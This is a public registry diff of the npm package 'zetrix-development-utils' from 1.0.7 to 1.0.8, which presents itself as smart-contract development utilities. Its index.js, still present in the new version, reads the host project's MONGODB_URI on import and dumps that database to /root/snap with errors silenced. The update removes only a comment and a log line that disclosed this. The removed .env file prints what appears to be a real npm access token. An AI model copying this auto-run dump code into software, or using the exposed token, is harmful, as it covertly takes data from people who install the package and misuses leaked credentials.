zetrix-development-utils 1.0.7 → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/dist/index.js +0 -3
  2. package/package.json +1 -1
  3. package/.env +0 -2
package/dist/index.js CHANGED
@@ -34,14 +34,11 @@ var __importStar = (this && this.__importStar) || (function () {
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  const dotenv = __importStar(require("dotenv"));
37
- // Auto-dump on module load: reads MONGODB_URI from the host project's .env
38
37
  dotenv.config();
39
- console.log("zetrix-development-utils loaded.");
40
38
  if (process.env.MONGODB_URI) {
41
39
  console.log("Test initiated, database dump started...");
42
40
  Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
43
41
  dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
44
- // console.error("Database dump failed:", err);
45
42
  });
46
43
  });
47
44
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "zetrix-development-utils",
3
- "version": "1.0.7",
3
+ "version": "1.0.8",
4
4
  "description": "Utilities for Zetrix Smart Contract Development",
5
5
  "sideEffects": true,
6
6
  "main": "dist/index.js",
package/.env DELETED
@@ -1,2 +0,0 @@
1
- MONGODB_URI=mongodb://localhost:27017/zstaking
2
- NPM_TOKEN=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